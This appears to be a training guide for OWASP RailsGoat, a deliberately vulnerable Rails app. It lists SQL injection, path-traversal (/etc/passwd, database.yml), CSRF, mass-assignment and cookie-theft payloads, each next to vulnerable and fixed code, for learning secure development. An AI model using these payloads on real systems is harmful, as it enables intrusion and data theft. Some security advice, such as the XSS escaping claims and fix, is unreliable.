Zum Inhalt springen

RailsGoat

RailsGoat is an intentionally vulnerable Ruby on Rails application designed to teach secure Rails development. It demonstrates common Rails vulnerabilities including SQL injection, mass assignment, CSRF, authentication bypass, insecure deserialization, and authorization flaws.

Installation and Setup

Docker Installation

# Clone RailsGoat repository
git clone https://github.com/OWASP/railsgoat.git
cd railsgoat

# Build Docker image
docker build -t railsgoat .

# Run container
docker run -d -p 3000:3000 --name railsgoat railsgoat

# Access at http://localhost:3000

Local Installation (macOS/Linux)

# Requirements: Ruby 3.0+, Rails 7.0+, SQLite3
# Install Ruby (using rbenv recommended)
rbenv install 3.2.0
rbenv local 3.2.0

# Clone repository
git clone https://github.com/OWASP/railsgoat.git
cd railsgoat

# Install dependencies
bundle install

# Setup database
rails db:create
rails db:migrate
rails db:seed

# Start Rails server
rails server

# Access at http://localhost:3000

Windows Installation (WSL2)

# Install WSL2 and Ubuntu
# In WSL2 terminal:
sudo apt update
sudo apt install -y rbenv ruby-build libsqlite3-dev

# Follow Linux installation above

Default Credentials and Setup

# Common test accounts (after db:seed)
# admin / password123
# user / password
# guest / guest

# Access console
rails console

# Create new user
User.create(email: 'test@example.com', password: 'password', password_confirmation: 'password')

# View all users
User.all.map { |u| [u.email, u.admin?] }

SQL Injection Vulnerabilities

# Vulnerable endpoint: /users/search

# Basic SQLi to dump user data
# Input: ' OR '1'='1
# Full URL: http://localhost:3000/users/search?q=' OR '1'='1

# Extract admin flag
' OR email LIKE 'admin%'--

# Time-based blind SQLi
' AND SLEEP(5)--

# Union-based SQLi
' UNION SELECT 1,2,3,4,5--

# Extract database version
' UNION SELECT version(),2,3,4,5--

# Enumerate tables
' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--

Rails SQLi Code Example

# Vulnerable code in app/controllers/users_controller.rb
def search
  # Unsafe string interpolation
  @users = User.where("email LIKE '%#{params[:q]}%'")
  render :search_results
end

# Fixed version - use parameterized queries
@users = User.where("email LIKE ?", "%#{params[:q]}%")
# Or use scopes
@users = User.search(params[:q])

# In app/models/user.rb
scope :search, ->(query) { where("email LIKE ?", "%#{query}%") }

Mass Assignment Vulnerability

Exploiting attr_accessible

# User signup form vulnerability
# Normal: POST /users with {user: {email, password}}
# Malicious: POST /users with {user: {email, password, admin: true}}

# Using curl
curl -X POST http://localhost:3000/users \
  -d "user[email]=hacker@test.com" \
  -d "user[password]=password123" \
  -d "user[admin]=true" \
  -d "commit=Sign+up"

# Using Ruby
user_params = {
  email: 'attacker@example.com',
  password: 'password',
  admin: true  # Mass assignment vulnerability
}
User.create(user_params)

Rails Mass Assignment Protection

# Vulnerable code
class User < ApplicationRecord
  # Allows all attributes
  def update_user(params)
    self.update(params)
  end
end

# Fixed code - use strong parameters
class UsersController < ApplicationController
  def create
    @user = User.new(user_params)
    @user.save
  end

  private
  def user_params
    params.require(:user).permit(:email, :password, :password_confirmation)
    # admin attribute is NOT permitted
  end
end

CSRF (Cross-Site Request Forgery)

CSRF Token Bypass

# Rails CSRF protection bypasses

# 1. No CSRF token on API endpoints
POST /api/users/promote HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{"user_id": 1}

# 2. CSRF token in URL parameter (insecure)
curl http://localhost:3000/admin/promote?user_id=1&authenticity_token=TOKEN

# 3. Flash message CSRF
# Attacker can forge requests in ActionMailer templates

CSRF Form Examples

<!-- Attacker's website -->
<form action="http://localhost:3000/admin/promote" method="POST">
  <input type="hidden" name="user_id" value="1">
  <input type="hidden" name="authenticity_token" value="CSRF_TOKEN_HERE">
  <input type="submit" value="Click here">
</form>

<!-- JavaScript-based CSRF -->
<script>
fetch('http://localhost:3000/admin/promote', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
  },
  body: JSON.stringify({user_id: 1})
});
</script>

Rails CSRF Protection

# Enable CSRF protection (default in Rails)
class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception

  # Or allow API requests without CSRF token
  protect_from_forgery with: :null_session, if: -> { request.format.json? }
end

Authentication Bypass

SQL Injection in Login

# Common auth bypass payloads
Username: admin' OR '1'='1
Password: anything

# Time-based authentication
Username: admin' AND SLEEP(5)--
Password: (observe 5 second delay)

# Union-based bypass
Username: ' UNION SELECT 'admin',MD5('password')--
Password: (anything)

Code Analysis

# Vulnerable authentication
def authenticate(email, password)
  user = User.find_by("email = '#{email}' AND password = '#{password}'")
  user
end

# Fixed version using bcrypt
def authenticate(email, password)
  user = User.find_by(email: email)
  user&.authenticate(password)
end

# In User model
has_secure_password  # Uses bcrypt automatically

Session Fixation

Session Manipulation

# 1. Set custom session cookie
curl http://localhost:3000 -H "Cookie: _railsgoat_session=ATTACKER_SESSION_ID"

# 2. Extract session token from DOM
# Open DevTools Console:
console.log(document.querySelector('meta[name="csrf-token"]').content)

# 3. Modify session in browser
# DevTools > Storage > Cookies > _railsgoat_session
# Change user_id value

# 4. Session prediction (if weak random)
# Try sequential session IDs
# Example: ABC123, ABC124, ABC125

Rails Session Security

# Configure secure sessions
Rails.application.config.session_store :encrypted_cookie_store,
  key: '_railsgoat_session',
  secure: true,  # HTTPS only
  httponly: true,  # No JavaScript access
  same_site: :strict  # Prevent CSRF

# Reset session on login
def create
  session.clear  # Clear old session
  @user = User.authenticate(params[:email], params[:password])
  session[:user_id] = @user.id
end

Insecure Deserialization

YAML Deserialization RCE

# Vulnerable code
def load_user_preferences(yaml_data)
  YAML.load(yaml_data)  # DANGEROUS!
end

# Attacker payload
exploit_yaml = %{
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
}

# Can lead to RCE via gadget chains

# Fixed code
def load_user_preferences(yaml_data)
  YAML.safe_load(yaml_data, permitted_classes: [Symbol])
end

# Or use JSON (safer)
JSON.parse(json_data)

Path Traversal/Directory Traversal

File Download Vulnerability

# Vulnerable endpoint: /downloads?file=resume.pdf

# Path traversal payloads
../../../etc/passwd
../../config/database.yml  # Rails config
../../../Gemfile  # Dependencies
../../tmp/secret_backup.txt

# Double encoding bypass
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd

# Case variation
../../../ETC/PASSWD

Rails File Download Safety

# Vulnerable code
def download
  send_file(params[:file])  # Path traversal!
end

# Fixed code
ALLOWED_FILES = ['resume.pdf', 'transcript.pdf'].freeze

def download
  filename = params[:file]

  unless ALLOWED_FILES.include?(filename)
    raise "File not allowed"
  end

  file_path = Rails.public_path.join('downloads', filename)
  send_file(file_path)
end

# Or use absolute paths with validation
def download
  file_path = File.expand_path(File.join(DOWNLOADS_DIR, filename))

  if file_path.start_with?(DOWNLOADS_DIR)
    send_file(file_path)
  else
    raise "Access denied"
  end
end

Authorization Flaws (IDOR)

Insecure Direct Object References

# Accessing other users' resources by modifying ID

# View another user's profile
GET /users/1/profile  (current user)
GET /users/2/profile  (other user - vulnerable if no auth check)
GET /users/999/profile

# Modify another user's data
PUT /users/2 -d "user[email]=hacked@attacker.com"
DELETE /users/3

# Access admin functions
GET /admin/users  (should be admin-only)
POST /admin/promote -d "user_id=1"

Authorization Check

# Vulnerable code
class UsersController < ApplicationController
  def show
    @user = User.find(params[:id])
    # Missing authorization check!
  end

  def update
    @user = User.find(params[:id])
    @user.update(user_params)
  end
end

# Fixed code
class UsersController < ApplicationController
  before_action :authenticate_user!
  before_action :authorize_user!, only: [:update, :destroy]

  def show
    @user = User.find(params[:id])
    authorize_user!  # Check if current_user == @user
  end

  def update
    @user = User.find(params[:id])
    authorize_user!
    @user.update(user_params)
  end

  private

  def authorize_user!
    unless current_user == @user || current_user.admin?
      raise "Unauthorized"
    end
  end
end

XSS in Rails

Rails Template Injection

<!-- Vulnerable: Unescaped output -->
<h1><%= params[:title] %></h1>

<!-- If params[:title] = <script>alert('XSS')</script> -->
<!-- Script will execute -->

<!-- Fixed: Use safe_join or escaped output -->
<h1><%= safe_join(params[:title]) %></h1>

<!-- Or use simple assignment (auto-escaped) -->
<h1><%= h(params[:title]) %></h1>

JavaScript Injection in Rails

# Vulnerable: Rendering user input as JS
respond_to do |format|
  format.js { render inline: "alert('#{params[:message]}')" }
end

# If params[:message] = '); malicious_code(); alert('
# Result: alert(''); malicious_code(); alert('')

# Fixed: Never interpolate user input in JS
format.js { render action: 'show' }

Testing with Burp Suite

Setup Proxy

# 1. Configure browser proxy
# FoxyProxy or built-in proxy settings
# Proxy: localhost:8080

# 2. Start Burp Suite Community Edition
# Click "Proxy" tab
# Verify "Intercept is on"

# 3. Navigate to http://localhost:3000
# Requests appear in Proxy > Intercept

# 4. Send to Repeater
# Right-click request > "Send to Repeater"
# Modify parameters and resend

Testing Strategy

# 1. Map application (Proxy > Site map)
# Click all links and forms in RailsGoat
# Burp captures all requests

# 2. Identify vulnerable endpoints
# Look for: login, search, admin pages, file downloads
# Test each parameter for SQLi, XSS, IDOR

# 3. Use Intruder for brute force
# Positions tab: Select parameter values
# Payloads tab: Load wordlist
# Attack type: Cluster bomb (multiple parameters)

# 4. Test authentication
# Modify session cookie value
# Test if sequential IDs work

Manual Testing Workflow

Reconnaissance

# 1. Explore application
# Click all links in RailsGoat
# Note all parameters and forms

# 2. Check page source
# View source (Ctrl+U)
# Look for hidden fields, comments, endpoints

# 3. Test input fields
# Login form, search box, file upload
# Comment sections, profile fields

# 4. Examine cookies and storage
# DevTools > Application > Cookies
# Check _railsgoat_session, csrf-token

Vulnerability Testing

# 1. SQL Injection
# ' OR '1'='1' --
# Test in search, login, filter fields

# 2. Mass Assignment
# Modify form data to include admin=true
# POST with extra parameters

# 3. CSRF
# Craft form that auto-submits
# Test without CSRF token

# 4. Authentication Bypass
# SQL injection in login
# Session token manipulation

# 5. Authorization
# Modify user ID in URL
# Access admin pages without permission

Browser DevTools Exploitation

Console Techniques

// Extract CSRF token
document.querySelector('meta[name="csrf-token"]').content

// Steal session cookie
document.cookie

// Extract data from page
document.querySelectorAll('table tbody tr').forEach(row => {
  console.log(row.innerText);
});

// Modify DOM for testing
document.querySelector('input[name="admin"]').value = 'true'

// Make API requests
fetch('/api/users', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
  },
  body: JSON.stringify({user_id: 1})
})

Network Tab Analysis

# Monitor all requests
# Filter by XHR (XMLHttpRequest) / Fetch

# Examine headers
# Look for: Authorization, X-CSRF-Token, Set-Cookie
# Check for security headers (missing = vulnerability)

# Check response bodies
# Error messages often reveal database structure
# API endpoints may expose sensitive data

# Identify parameters
# Note all request parameters
# Test each for vulnerabilities

Common Vulnerabilities to Test

VulnerabilityTest MethodImpact
SQL Injection’ OR ‘1’=‘1’ in searchData theft, auth bypass
Mass AssignmentPOST admin=truePrivilege escalation
CSRFForm auto-submitUnauthorized actions
Session FixationSet custom session IDAccount takeover
IDORModify user IDAccess other users’ data
Path Traversal../../../etc/passwdRead system files
XSSSession hijacking
Auth BypassSQL injection in loginAdmin access

Secure Rails Patterns

Strong Parameters

# In controller
def create
  @user = User.new(user_params)
  @user.save
end

private
def user_params
  params.require(:user).permit(:email, :password, :password_confirmation)
end

SQL Parameterization

# Bad
User.where("email = '#{params[:email]}'")

# Good
User.where("email = ?", params[:email])
User.where(email: params[:email])

# With scopes
scope :by_email, ->(email) { where(email: email) }
User.by_email(params[:email])

Authorization

# Pundit gem
authorize @user

# CanCanCan gem
authorize! :update, @user

# Manual checks
def authorize_user!
  redirect_to root_path unless current_user == @user || current_user.admin?
end

Best Practices for Learning

  • Complete challenges in order of difficulty
  • Understand each vulnerability type thoroughly
  • Try multiple exploitation methods
  • Study the vulnerable code in app/
  • Review the fixed code versions
  • Document your findings
  • Practice regularly with different parameters
  • Use both manual testing and automated tools
  • Focus on understanding root causes
  • Compare your techniques with Rails documentation

Resources


Last updated: 2026-03-30